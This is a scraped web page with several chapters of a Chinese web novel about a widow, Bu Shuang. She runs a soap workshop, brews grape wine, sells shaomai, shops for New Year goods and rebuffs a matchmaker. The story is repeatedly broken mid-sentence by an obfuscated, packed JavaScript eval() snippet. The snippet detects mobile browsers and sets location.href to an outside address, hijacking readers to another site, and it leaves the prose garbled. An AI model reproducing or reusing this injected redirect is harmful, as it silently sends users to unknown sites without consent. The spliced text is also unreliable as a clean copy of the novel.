小厮不敢不接，赵石头一看就和工匠们都过来，教他们怎么铲土，他们几个人没干一会儿，何喻昌和小厮两个人很快就变的脏兮兮的了，看不出那料子是什么颜色，灰头土脸的和赵石头他们没有什么差别，就是那脸还是白白的很俊俏。 卜霜没忍住笑了，直到聂鸿轩嚷嚷渴，她就走过去给他递水，结果刚走进，聂鸿轩忽然拉住她的手，满手给她抹了两把土。 “呸呸，聂鸿轩。”卜霜边吐边拿土拍他。 “哎，你让我变这样，你也别想干净。”何喻昌笑着跑着躲她。 两个人拿着土互相拍着对方，都脏的看不清楚脸了。 临近年节，卜霜想着再干几天活就给作坊里的帮工放假，让她们也有时间准备着买些年货，她这个东家不能总是不露面，卜霜今日就和赵昭明一起去了作坊里。 卜霜在作坊里看了一圈，如今大家干起活已经很得心应手了，效率也上去了，香胰子的产量都做的比从前多了不少。 帮工们看到卜霜来了都很热情，自从卜霜每周给她们发一次工钱之后，她们这些帮工现在在村里都很有面子。 卜霜夸了大家几句，然后和赵昭明对视了一眼。 “一会儿我叫谁的名字谁就上来，发工钱了。” 这还没一周呢，怎么现在就又发工钱了呢？ 对啊。 众人都有些，不敢上来领。 赵昭明就笑了：“你们都愣着干什么呢，卜掌柜看在要过年节了，给你们发，让你们能过个好冬。” 众人一愣，紧接着就高兴的叫起来，迅速的排好队。 赵昭明就一个一个的开始叫名字“马婶，...” 卜霜把工钱发到她们手里，然后笑着道：“” 马婶停了这话，兴奋的都说不出话来了，一个劲儿的只是道谢。 “谢谢卜掌柜，谢谢卜掌柜。” 她们进了这卜家作坊有了一份稳定长久的工作，已经很让人羡慕了，这作坊里的工钱多而且还每周发一次工钱，更是不知道，而现在东家居然还给发年节的奖金，她们做的这些活都是应该的，没想到做得好了东家还给奖励。 帮工们立时恨不得把卜霜捧起来，她们一辈子跟着卜霜的心都有了。 卜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515750|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜笑了笑：“等到过了年节，作坊开工之后，每个月我们都会选出一位当月最勤快的帮工，给她奖励，以后每年获得奖励最多的帮工，我还会再给她一部分奖金作为奖励，所以接下来的日子大家可要好好干哦。” 卜霜此举大大提升了帮工们做活的积极性。 帮工们一听，都恨不得不放假了。 卜霜拿出肉和面和糖。 “这些就是今年我们卜家作坊的年礼，每人都可以领一斤。” 看清楚那桌上放着的东西后，众人的眼睛都瞪直了。 有人声音颤抖的问道：“掌柜的是说，我们每个人都可以领一斤猪肉，一斤白面，和一斤糖？” “对啊。” 卜霜的话音一落，作坊里的欢呼声只能用震撼来形容。 这些东西可贵了，比之前发的钱还让她们激动。 这猪肉，白面和糖，要不少钱呢，卜掌柜的居然直接作为年礼发给她们了。 谁想到她们家之前还吃不起饭呢，居然能领到这些好东西。 而且以后她们每年都有这样的年礼。 众人简直乐的不知道说什么了。 卜霜看着她们那兴奋的样子，心里也很是高兴。她知道，这些帮工们都是朴实善良的人，只要对她们好，她们就会全心全意的回报。 “大家先不要着急，东西都有，人人都有份。”卜霜安抚着众人，让赵昭明继续发放年礼。 帮工们拿着年礼，一个个脸上都洋溢着幸福的笑容。她们围在一起，互相讨论着晚上要做什么好吃的，要怎么庆祝这个即将到来的年节。 卜霜看着她们，心里也充满了满足感。她知道，这个作坊不仅仅是一个赚钱的地方，更是一个大家庭，一个让每个人都能感受到温暖和希望的地方。 “好了，大家都领完了吧，那就早点回家吧，和家人一起准备过年。”卜霜笑着对众人说道。 众人闻言，纷纷向卜霜道谢，然后拿着年礼，满心欢喜的离开了作坊。 卜霜看着她们离去的背影，心里默默祝愿，希望她们都能过上一个温馨快乐的年节。同时，她也暗下决心，一定要把这个作坊越做越好，让更多的人都能在这里找到属于自己的幸福和希望。 第89章 一起卖酒 从作坊里回来之后，卜霜就开始照顾移栽回来的三颗山葡萄树了，赵石头他们的新作坊也快要完工，空间灵田里的山葡萄树长势很好，但是移栽回了的山葡萄树还要好好照顾。 她和万路他们在移栽树的时候装了好几大筐的山葡萄，现在山葡萄树上都没有果子了，这些山葡萄已经足够做一批葡萄酒了，正好瓷器窑定做的六十只酒坛子今日也都送过来了，卜霜就准备先酿一批葡萄酒。 卜霜先把那些山葡萄都放在水槽里洗干净，然后装了一篮子山葡萄去给众人尝尝。 赵石头吃了一颗，惊讶道：“我之前吃的山葡萄可不是这个味，这紫色的山葡萄居然这么好吃，酸酸甜甜的，难怪卜妹子你能想到用这个东西酿酒。” “这种成熟了的山葡萄很难找，武安村里也只有那三颗山葡萄树是成熟了的。” 卜霜笑着就让工匠们都别做活了，先来吃山葡萄。 等他们都吃完了，卜霜才又回了家。 她回家后又把那些酒坛子都里里外外的洗了一遍，然后等山葡萄和酒坛子都干了，她就把那些山葡萄都放进酒坛子里。 几个筐子里的山葡萄加起来有一百斤。 光是把这些山葡萄洗干净再装到酒坛子里就废了卜霜不少时间。 到了万辽他们回了家，赵昭明也回来给孩子做饭了。 看着摆了一院子的酒坛子就道：“你怎么不等等我回来和你一起做呢？” “前面这些活都简单，我一个人就可以了，至于后面的，你不是回来了吗。” 赵昭明无奈，卜霜忽然道。 “赵姐姐，我这些葡萄酒已经想到怎么卖了，稳赚不赔的，你要不要和我一起卖这酒？” 她早就有这个想法了，赵昭明一直以来都在帮她，但是之前的生意她不确定能不能赚钱所以就没让赵姐姐入伙，但是她现在做生意已经越来越得心应手了，这葡萄酒更是一本万利的买卖，如果赵昭明入股葡萄酒，那一定每月坐着就能拿钱。 “不行，我这没出主意也没出力的，这酿葡萄酒完全是你的想法，我现在和你一起卖，那不是占你的便宜吗。”赵昭明立刻摇头，“你只要让我以后都可以蹭你的葡萄酒喝我就很满足了。” “我不管，葡萄酒就算你和我一起做的，之后卖出去后我每月都给你分成。” 卜霜干脆不听她的话，自顾自就道。 赵昭明一时又好笑又感动：“我都没出钱，每月就有分成拿，哪有你这么做生意的。” “也不是那么容易的，现在做的这一批葡萄酒只是之前山葡萄树上接的几筐，接下来我把那三颗山葡萄树养好了，还要做好多葡萄酒，到时候你都要过来和我一起酿酒的。” 卜霜故意道。 赵昭明哪里不知道她的心思，噗嗤笑了，由衷道：“卜妹妹，你真好。” 她来武安村这么多年，最好的事就是认识卜霜了。 “你更好。”卜霜拉着她的手。 两家人一起吃过午饭，下午赵昭明就一直待在院子里和卜霜酿酒。 既然这葡萄酒也是赵昭明的生意了，卜霜也就不藏着了，细细的交代给赵昭明怎样酿酒。 怎么洗山葡萄，然后洗的时候哪种山葡萄是坏了的要挑出来，那种山葡萄是能吃的，酿酒香甜。 她们洗过的山葡萄放到酒坛子里之后，要撒入糖搅拌均匀然后再怎么样，还有发酵过滤的时间，卜霜都教给了赵昭明。 等到山葡萄酿好了大半，已经要晚上了。 聂鸿轩来了。 他帮着把酿好的葡萄酒都搬到地窖里，这才道。 帮工他已经全部找好，只要新作坊一盖好，就可以来做工了。 “那行，等赵大哥把新作坊盖好，就让他们签契。” 新作坊盖好那天，卜霜见到了聂鸿轩和赵昭明招的帮工。 做牙刷和牙粉比起做香胰子没有什么重活，所以这次招的帮工就都是妇人。 和香胰子作坊招工的时候差不多，赵昭明和这些帮工说了她们要做什么，每日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这些帮工不愧是实力八村精挑细选出来的勤快人，干活特别快。 她就给帮工们把这几日的工钱奖金发了，也发了年礼。 这是新作坊的帮工们第一次领到工钱，而且还收到了这么贵重的年礼。 她们捧着钱和年礼，开心的连路都不会走了。 第90章 烧麦 作坊虽然都放假了，但是卜记食铺还是正常开业。 卜霜每日都会去卜记食铺。 自从她开始售卖红烧肉之后，铺子里的生意比以往还要红火。 卜霜和荔香还有一个伙计这几日在铺子里忙的不可开交，这几日铺子里几乎是人满为患，一个食客刚走就有别的食客坐在空出来的地方，铺子里到处都可以听到食客们满足的赞赏声，那红烧肉香喷喷的，食客们一口接一口的吃下去，一个个出门前都边揉着肚子边打嗝。 荔香对卜霜的崇拜之情简直都写在了脸上。 跟着卜霜做事的这些日子，她的眼界可是开阔了许多，卜掌柜一顿席面就可以赚三十两银子，随便出一道新菜就可以引起这么大的响动，每日铺子上的入账更是多的数不过来。 卜掌柜简直太厉害了。 等红烧肉和卤味都卖的差不多了，卜霜就在镇上继续买年货。 她逛着逛着看到了杂货铺子，忽然就有了想买的东西。 “老板，你这儿有蒸笼吗？” “有啊，客官这边请。” 掌柜的就将卜霜带到了一处货架前：“我们家的蒸笼都在这儿了，客官你看你要多大的？” 卜霜道：“越大越好。” 掌柜的一开始以为是哪家的小娘子买来自家用的，一听她这么一说，便细细一看卜霜：“呦，这不是卜掌柜吗，我可喜欢吃你家新出的红烧肉，但是每日都排不上队呢，卜掌柜买这蒸笼是卜记食铺又要卖包子吗？大的蒸笼我这儿也有。” 掌柜连忙从库房里拿出一个大蒸笼给卜霜看。 卜霜没想到她现在居然这么有名，和掌柜的寒暄了一会儿，她看了看那蒸笼，点头道：“这个好，给我拿五个吧。” 掌柜高高兴兴的给卜霜包好蒸笼。 “我还要一些细棉布。”卜霜道。 卜霜买这蒸笼和细棉布确实是要在食铺子做新吃食了。 这细棉布是用来放在蒸笼里的，这样用蒸笼蒸出来的食物才不会软。 “再过几日卜记食铺就要上新吃食了，掌柜的记得早点来排队。” 第二日，卜霜早早就到了铺子里，趁着铺子还没开业，她准备做新菜，她把香菇，香肠，洗干净，取出糯米泡在水里，荔香到的时候看到铺子开了门很惊讶，一进了厨房，就看到卜霜在做菜。 荔香看着厨房里的蒸笼，惊讶道：“卜掌柜，咱们铺子是又要上新菜了吗？” “是啊，最近生意这么好，多上几道新菜。” “我们不会是要卖包子吧，可是镇子上已经有很多卖包子的铺子了，他们做的时间长也很有名气。” 荔香的担忧不无道理，镇上的包子铺已经很有名气了，她们再做包子不管做的有多好吃，大家还是习惯去别人的店里吃，她们铺子现在这么有名，这时候做包子不如继续做新鲜的吃食。 “我做的包子可和他们的不一样，像包子却又不是包子。”卜霜道。 她说的卜霜自然都想过，所以她准备做的是烧麦。 “荔香，你帮我先剁好肉馅。” 荔香手脚麻利，立马就开始剁猪肉。 卜霜把蒸笼放在铁锅上。 然后开始做烧麦的馅料，她这次准备做两种烧麦，糯米烧麦和鲜肉烧麦。 卜霜先把糯米沥干水分，然后纱布铺在蒸笼里，糯米放进去，大火蒸半个时辰。 然后热锅烧油，爆香洋葱末，加入多好的猪肉末炒到变色，然后放入香菇，香肠翻炒，加入生抽，老抽，蚝油，糖和胡椒粉调味，倒入蒸好的糯米拌匀，淋上香油，然后放在一边备用。 面粉里加入盐混合，然后加水揉成光滑面团，盖上湿布醒发。 之后把面团擀成皮，放入馅料，用虎口收口，捏出，露出少许馅料，然后就把包好的烧麦放入蒸笼里大火蒸。 这样糯米烧麦就做好了，卜霜捏了一笼糯米烧麦放进蒸笼后，就开始做鲜肉烧麦了。 卜霜将猪皮焯水去脂后切条，加入姜片，料酒，清水，小火熬到出胶后倒出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515752|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪皮汤用冰镇的凝固后切块。 然后在猪肉末里加姜末，生抽，老抽，蚝油，糖，胡椒粉，葱花，香油同一个方向搅拌，分次加入皮冻。 之后的做法就和做糯米烧麦都是一样的，把馅料放入皮之后收口，然后放入蒸笼里大火蒸一会儿。 等烧麦都做好了，卜霜把荔香和另一个伙计都叫过来。 “你们来的这么早还没吃饭吧，正好来尝尝我这烧麦，这就是我们铺子下一道新菜，糯米烧麦和鲜肉烧麦，你们尝尝怎么样。” “这个像包子却又不是包子的菜叫烧麦啊。” 荔香看着那晶莹剔透的烧麦，咽了咽口水，这烧麦糯香扑鼻，看着就好吃。 她和伙计立刻开吃。 刚咬了一口两人就惊呆了，这糯米烧麦外皮薄而筋道，软糯可口，鲜肉烧麦皮薄馅大，汤汁饱满，咬一口下去鲜香四溢。 “掌柜的，你的手艺也太厉害了，县城里的大厨都没人会做这样的吃食。” 两人夸赞道。 “你们多吃点，剩下的一会儿就要卖了。”卜霜笑道。 荔香一听连忙又吃了几个。 “这道菜要是开始卖了，肯定一下子就没了，我要多吃几个。” 不一会儿，食客们已经来了铺子。 荔香便出去给大家介绍。 “各位客官，我们卜记食铺今日又上了新菜试卖，叫烧麦，只有两笼，各位快来看。” 她一边说着一边把蒸笼打开给食客们看。 “这一笼是糯米烧麦，使用糯米，猪肉，香菇，火腿一起做的，软糯油润，这一笼是鲜肉烧麦，是纯猪肉馅的，咬一口满嘴汤汁。” 众人这些时日已经对卜记食铺有些研究了，卜记食铺每次试卖的菜都是新鲜没见过的，但是只要一犹豫立刻就被抢光了，下次再想买那说不定要排多久的队，所以当即就有人喊：“卜掌柜，给我来五个。” “哎，我也要五个。” “给我来两个。” 第91章 买年货 自从上了新菜，铺子里的收益又更加多了。 卜霜这些天买了不少年货回去，但是还有一些就要喊上万路他们几个一起去买了。 让他们买一些自己喜欢的东西。 万辽便问：“娘，能不能买一挂鞭炮，年节的时候大家都会响鞭炮。” 年节的时候村里人都会把压箱底的钱拿出来，鞭炮这种东西很贵，所以大家就是买一挂就可以了。 “对啊，娘，我们今年也买一挂鞭炮响吧。”万路也道。 小万萱跑过来抱着卜霜：“娘，买花炮。” “买，我们现在就去买，不止是鞭炮，什么花炮的你们喜欢什么，我们就买什么，想要多少就买多少。”卜霜哪里看得了孩子们露出这种小心的表情，心都酥软了，不就是鞭炮吗，以后每年她家都囤一屋子的炮仗给小崽子们随便玩。 “好耶。”孩子们一听，兴奋的恨不得跳起来。 “娘你真好。” 卜霜这个摸一摸，那个捏一捏。 “那我们走吧，除了买鞭炮，今日还要给你们买新衣服。” 卜霜就和万路几个赶着牛车进了镇子。 今日来赶集的人比之前更多了，也难怪，过了几天大家就要在家里炸丸子炸肉的忙活，顾不上再来镇上买东西了。 卜霜带着四个小崽子买好新衣服后，又带着他们进了一家镇上很有名的金银首饰铺子，这平时只有镇上的有钱人才会进来买。 “娘，我们来这儿干什么啊？”一进铺子门，四个小崽子就被那柜台上的金银首饰震惊到，这铺子里到处都是金灿灿的，那些做工精美的首饰看得人移不开眼睛，他们以前从来没有来过这种地方，万絮好不容易从那各式的首饰上收回，立刻拉着卜霜的袖子问道。 “自然是给你和万萱买首饰啊。”卜霜笑着拉过万絮推到柜台前，“你看看喜欢哪个，娘都给你，别怕花钱，娘如今赚了好多钱。” 万絮一听也很心动，就在柜台前看了又看，新奇道：“这里面每个首饰都好看。” 再一想价格，万絮就道：“我就要这个银簪子吧。” 卜霜哪里不知道万絮是又不舍得花钱了，立刻道：“今日呢你只能买金的。” 她就挑了一只金簪子给万絮簪到头发上，然后让她看铜镜：“怎么样，这只喜欢吗？” 那金簪子在万絮头发上立刻显得她珠光宝气的特别漂亮。 万絮看着铜镜里的自己简直不敢相信，对发间的那只金簪子简直爱不释手，喜欢都写在了脸上。 卜霜便对伙计道：“就这个吧，包起来。” 随后她又给万絮选了只金镯子戴在手上让她看。 万路和万辽也没闲着，虽然没他们的事，但是两人也很兴奋的到处看着首饰，给万絮提意见。 万絮知道娘这是肯定要给她买好的，她就是买便宜的最后卜霜也会都换成贵的，万絮也就不再只想着省钱，开始在柜台上挑选喜欢的起来。 最后卜霜给万絮买了两只金簪子，一对金耳环，一对金手镯都让伙计包了起来。 铺子里的金首饰有鎏金和赤金的，鎏金的便宜一点，赤金的花样也多做工也更精致一般都是有钱人才会买的。 卜霜给万絮买的都是赤金。 她们一下子要了这么多赤金首饰，就连铺子掌柜都被惊动了，忙出来招待。 掌柜的一说价钱，万絮就倒吸了一口气。 “好贵啊。” 其他不说了，就连那分量最轻的耳环都价值不菲。 掌柜的道：“小姐眼光好，这对耳环确实在我们铺子首饰中算贵一点的，这对金耳环的做工复杂，是我们店里最有经验的匠人做了半个月才做出来的，就这么一对，镇子上还没有人有一样的，所以加工费自然就高一些，再加上这可是赤金的，看着小分量却重，我们铺子是做了很多年的老铺子了，价钱方面都是实打实的，这对耳环要是放在县城里的首饰阁那可要贵嘞。” “确实是好首饰。”卜霜点头道。 卜霜以前在县城芳华阁见过好多官家小姐戴的首饰， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522394|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这对耳环做得真漂亮，跟那些小姐戴的比起来一点儿也不差。 她第一次进这家店，眼睛一下就被这对耳环给吸引住了。她让万絮帮她挑挑看，果然，万絮也对这对耳环一见钟情。 “不仅如此，这两只簪子和这对镯子的样式都特别稀罕，真是精品中的精品，看来小姐您的眼光真是不错。”掌柜的又道。 “掌柜的，你这儿还有别的宝贝吗？我还想再挑点儿。” “是给这位小姐选的吧。” 老板笑眯眯的，他看了看万萱的年纪和气质，然后从柜台里挑出了些既适合她年龄又充满活力的首饰。 这些首饰在灯光下闪闪发光，都是戴上后很灵动，卜霜让万萱自己选喜欢的，然后包了一支簪子和一对手镯。 卜霜痛快的付了钱，掌柜亲自把首饰包好，递给卜霜。 “以后夫人再过来，就直接来找我，我把最新的首饰给你看。” 一家人买好了首饰，别提多开心，他们现在穿着新衣服，怀里可是揣着好多金子。 接下来，一行人就去买鞭炮。 卖鞭炮的摊子上有好多不同的花炮，摊主把每样花炮都点一个给大家看样子，摊子周围围了好多小孩，非常的热闹。 卜霜捂着小万萱的耳朵，和万路他们一起凑到摊位前面。 让他们看想要什么，选好之后，卜霜大手一挥，果然每样都买了许多，装了一袋子。 这够万路他们几个玩好几天的了。 周围人也没见过买这么多的，小孩子们都瞪大了眼睛，很是惊讶又羡慕的看着她们。 摊主也笑得合不拢嘴，连声道谢，说卜霜真是个大方的主顾。 买好了鞭炮，一行人又去了集市上的其他地方逛逛，集市上人来人往，热闹非凡，有卖小吃的，有卖玩具的，还有各种杂耍表演，让人目不暇接。 他们又买了不少东西，都提不动了这才出来，把这次买的年货都放在了牛车上。 孩子们高兴的都不知道怎么说话了。 第92章 炸丸子 作坊都放假了，年货也都买好了，卜记食铺也都放了假。 腊月二十九这天，卜霜就开始炸丸子了，她今天要做好多吃的，之后就一直有现成的吃。 村子里到处都飘着炸肉的香味，因为卜家家里大，厨房也大，所以她们就商量好，赵昭明和张婶今天都来卜家一起炸丸子，大家凑在一起，还可以一起聊天。 大家都带着笑意，看上去就喜气。 孩子们在院子里玩卜霜新做的沙包，万辽和小万萱在院子里玩一会儿就进来厨房偷吃一个刚炸出来的丸子，等大人看到他俩的时候，两人已经又跑了出去，一会儿不注意一双小手就又抓了一个就跑。 卜霜自然不管他们，但是看着这两个小崽子的动作也不免觉得好笑。 “你俩慢点吃，一会儿吃撑了。” 但是这空气中弥漫的肉香味别说两个小孩了，就是正在炸丸子的三个大人都忍不住吃一个。 没过一会儿院子里万辽大喊一声：“娘，有人来了。” 卜霜让赵昭明和张婶继续炸丸子，她擦了擦手就出去看是谁来了。 “呦，我这一进院子里就闻到这飘着的丸子香味了，要不都说你卜家娘子厨艺好呢，我闻着这丸子竟然比那酒楼里的菜都香呢。” 来人一进门就笑着道。 卜霜一看，过来的人竟然是于婶，十里八村有名的媒婆。 “于婶，你吃了吗，现炸的丸子要不要尝一尝。”卜霜和她不算熟，不知道她过来是要干什么，但还是招呼道。 于婶打扮的鲜艳，张嘴三分笑，进来后就盯着卜霜看个不停，那眼神看的卜霜很不舒服，于婶忽然笑开。 “啧啧啧，卜娘子，村里人都说你厉害，勤快，怎么没人发现你还是个美人呢？” 于婶今日来是要干她老本行的，她作为十里八村有名的媒婆，牵线搭媒无数，那双眼睛可精得很，有什么适龄未婚的女子她立刻就能搜寻到，但是卜霜她是近日才发觉的。 于婶如今看着卜霜是越看越满意，这卜娘子长得这么好看，一手好厨艺，还做出了好大的生意，手里又有钱，这么一个女人怎么之前她竟然没有发觉呢？ 如果不是她是个寡妇，还带着四个孩子，凭卜娘子这条件，哪户好人家相不中，就是进了那高门大户里当个妾那也是可能的，如果她能把卜霜介绍给那富贵人家，她都不敢想能收到多少媒婆钱。 只是寡妇还好说，有了这几个小的，高门大户是不可能了，但是即便如此，也是有大把的人家可以介绍呢。 于婶来之前就想的很明白了，卜霜这里的这份媒婆钱，她一定能赚得到。 “卜娘子啊，你看你把你这院子收拾的...”于婶只是知道卜霜自己盖了房，但是从来没进来看过，这么说着一打量这才发现这院子修的这么漂亮，“哎呦，你这房子可真不错，要不少钱吧。” 这么个女人手里有房子有钱，她只要一出去，那不是人人都要抢着让她给说亲，到时候那媒婆钱也不会少。 于婶那眼神实在是太过直白了，卜霜皱皱眉，问道： “于婶你过来是有什么事吗？” “我是觉得卜娘子你又年轻，守寡了这么久也够了，可有想过再找户什么样的人家，我手里可是有这附近好多未成婚的男子呢，和卜娘子你正是相配，不如我给你找找？” 卜霜这才听明白，原来这于婶这次上门来是要给她相亲的。 “于婶，我如今没有成婚的心思，我的事我自己看着办。” 听到卜霜想都不想的拒绝，于婶变了脸色，有些急了。 “你是不是因为带着四个小孩所以觉得不好找了，卜娘子啊，我手里的男子都很开通的，不介意你带几个小孩。” “于婶。”卜霜提高音量，“我说了我如今没有成婚的心思，你连这句话都听不懂，能给别人说媒吗？” “我如今有房子有铺子有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525656|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生意也有钱，还有孩子，生活如你所见住得舒服穿的好吃的好睡的香，你凭什么觉得那些男人入的了我的眼？” “还有，我的四个孩子他们不是我的耻辱和负担，他们比任何人都要重要。” 卜霜那犀利又冷漠的眼神让于婶有些怕，她眼看她生气了，也没法再聊下去，只能灰溜溜的走了。 走之前她还是不甘心。 她心里嘀咕着，哼，她就不信了，卜霜还一辈子不成婚？等着吧，没了她，最后还是要让她去说媒。 于婶一走，赵昭明和张婶立刻就走了出来。 刚刚那些声音她们也都听到了。 赵昭明是个直肠子，心里藏不住事，一听到于婶想给卜霜说媒，心里就一股火，不是张婶拦着早就出去骂于婶了。 “卜妹妹，那于媒婆竟然把主意打到你身上了。”张婶一脸气愤地说道，语气中带着明显的不满。 卜霜无奈，“是啊，不过已经被我赶走了。” 张婶虽然平时话不多，但是明白事理又聪明，她平时听到的事情比卜霜多，对于于婶刚刚说的那些话也是看不上的。 赵昭明冷哼一声，“她也不瞧瞧自己什么德行，手里那些男的都是什么货色，不知道多少人都觊觎着你的钱，居然跑来给你说媒，真是笑话。” 张婶附和道，“就是，霜丫头现在过得这么好，哪里需要她去操心，我听说这个于媒婆为了收媒婆钱能把姑娘随便介绍给那不好的人，她可不是好人。再说了，霜丫头的四个孩子多听话可爱啊，哪里是什么负担，别把这事儿放心上，那于婶不是什么好人，以后别搭理她。” 卜霜只觉得心中一阵暖意，点点头。 赵昭明拍了拍胸脯，“卜妹妹，你放心，有我在，下次那于媒婆再敢来，我一定好好教训她一顿。” 张婶也笑着附和，“刚刚要不是我扯着不让她出去，这丫头当时就出去了。” 几个人就又说说笑笑，回去炸丸子了。 第93章 过年节 炸好丸子之后，卜霜用一个大盆子装起来，三家人一共炸了三大盆的丸子。 卜霜把孩子们都叫进来，让他们尝尝这炸好的丸子咋样。 这肉丸子外酥里嫩，万路和万絮一连吃了好几个。 “这么多丸子，真好吃。”万辽立刻又吃了几个。 剩下的油卜霜也用了起来，她又用这些油继续炸鱼和排骨。 赵昭明则和张婶去烧猪头。 几个人忙到晚上，做出老多东西，足够三家人吃很久了。 腊月三十一大早，人们就都开始忙碌起来，几个小的也不睡觉，兴奋直接就爬起床，今日可是年节，他们最开心的节日。 卜霜让万路他们贴门神和对联，今年修了新房子，有好几间屋子都要贴对联，这可是一个大工程，正好孩子们兴奋，就让他们去贴好了。 卜霜就去准备早饭。 因为今日要做的事情太多，早饭吃的就很简单，卜霜早就想到今晚年夜饭要吃什么。 一共道十三道菜，几道主食。 红烧大鲤鱼，柴火炖鸡，红烧大肘子，糖醋排骨，酱牛肉，红烧肉，羊肉萝卜煲，酱爆小河虾，干煸蕨菜炒腊肉，萝卜丸子汤，凉拌木耳，炒时蔬，卤味拼盘，猪肉白菜饺子，红糖年糕，炸麻团。 这么多菜是因为卜霜已经和赵昭明，张婶商量好一起过年节。 等她们都忙完家里的活，两家人就都来卜霜家一起过来做饭了，这些菜都是卜霜要做的，赵昭明和张婶再做几道她们的拿手好菜就可以了。 聂鸿轩也不闲着，几个女人做饭，他就打下手，处理需要的食材， 卜霜先开始做红烧鱼，把鱼洗净，鱼身两面划斜刀，然后用料酒和盐腌一会儿。 热锅热油，鱼擦干水分后放入锅里，煎到两面金黄，盛出来备用。 然后爆香葱姜蒜，干辣椒，八角，然后加入黄豆酱炒香，再之后放入鱼，加入生抽，老抽，料酒，糖，醋，倒入热水没过鱼身。 大火炖煮，期间不断用勺往鱼身上淋汤汁，最后大火收汁，撒葱花出锅。 柴火炖鸡要先把土鸡剁块焯水，然后把干蘑菇泡发，土豆切块。 锅里放入鸡块煸炒至变色。 加葱姜、八角、花椒炒香，淋料酒去腥。 然后加入热水没过鸡肉，再把泡好的蘑菇放进去，大火炖煮一个时辰，加入土豆块和盐，再炖到土豆软烂，撒香菜就可以出锅了。 红烧肘子，昨日赵昭明和张婶已经把肘子用火燎去**，所以聂鸿轩把它洗净后，卜霜直接冷水下锅焯水。 然后再锅里放油和冰糖，小火炒出糖色，加入开水。 再把肘子放进去，加糖色、生抽、老抽、料酒、葱姜、香叶，然后加入热水没过肘子。 炖煮一个时辰之后收汁至浓稠就可以了。 糖醋排骨昨日卜霜已经炸出了排骨，所以直接加姜片炒香。 然后开始调糖醋汁，料酒，生抽，糖，醋，倒入锅中，加开水没过排骨，小火炖煮后，大火收汁至粘稠。 酱牛肉要先把牛腱子泡水去血水，然后冷水下锅焯水。 锅中加水没过牛肉，加黄豆酱、生抽、老抽、卤料包。 大火烧开转小火炖煮到入味后，切片装盘，淋香油撒香菜。 红烧肉已经做过许多次了，卜霜很快就做好了。 羊肉萝卜煲，要把处理好的羊肉切块冷水下锅，加料酒姜片焯水。 锅中放入羊肉、姜片、热水，大火炖煮。 白萝卜切块放入，再加盐和枸杞再炖一会儿，就可以撒胡椒粉出锅了。 香辣虾酥脆下酒，也是今日的辣菜。 河虾处理干净后，加料酒腌一会儿，热油下虾炸至外壳酥脆，捞出备用。 爆香干辣椒、花椒、葱姜蒜，下虾快速翻炒，再加盐和糖调味之后就做好了。 干蕨菜炒腊肉是一道很有山野风味的菜。 卜霜把干蕨菜泡发后切段，腊肉切片焯水去咸。 然后热锅下腊肉煸炒出油，加入干辣椒和蕨菜翻炒。 加少许生抽和糖，最后撒蒜苗出锅。 萝卜丸子汤清爽解腻。 卜霜把萝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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万辽出去看了一眼，兴奋的跑回来，“娘，人们已经开始响鞭炮了，咱也把鞭炮放了吧。” “行，万路你们几个出去把鞭炮放了，咱就能开饭了。”卜霜笑道。 小崽子们欢呼一声，用木棍挑着一挂鞭炮就跑了出去。 赵昭明也笑：“咱们也出去看看去吧。” 第94章 年夜饭 卜霜点头，大家便开开心心的跟着孩子们也出了院子。 夜色中，鞭炮声此起彼伏，烟花在夜空中绽放，五彩斑斓，照亮了每个人的脸庞。 孩子们兴奋地跑来跑去放花炮，不时地指着天空中绽放的烟花欢呼。 等万路他们五个放了鞭炮回来，卜霜就在屋里面摆好桌子，三家人坐在一起满满的，就开始吃年夜饭了。 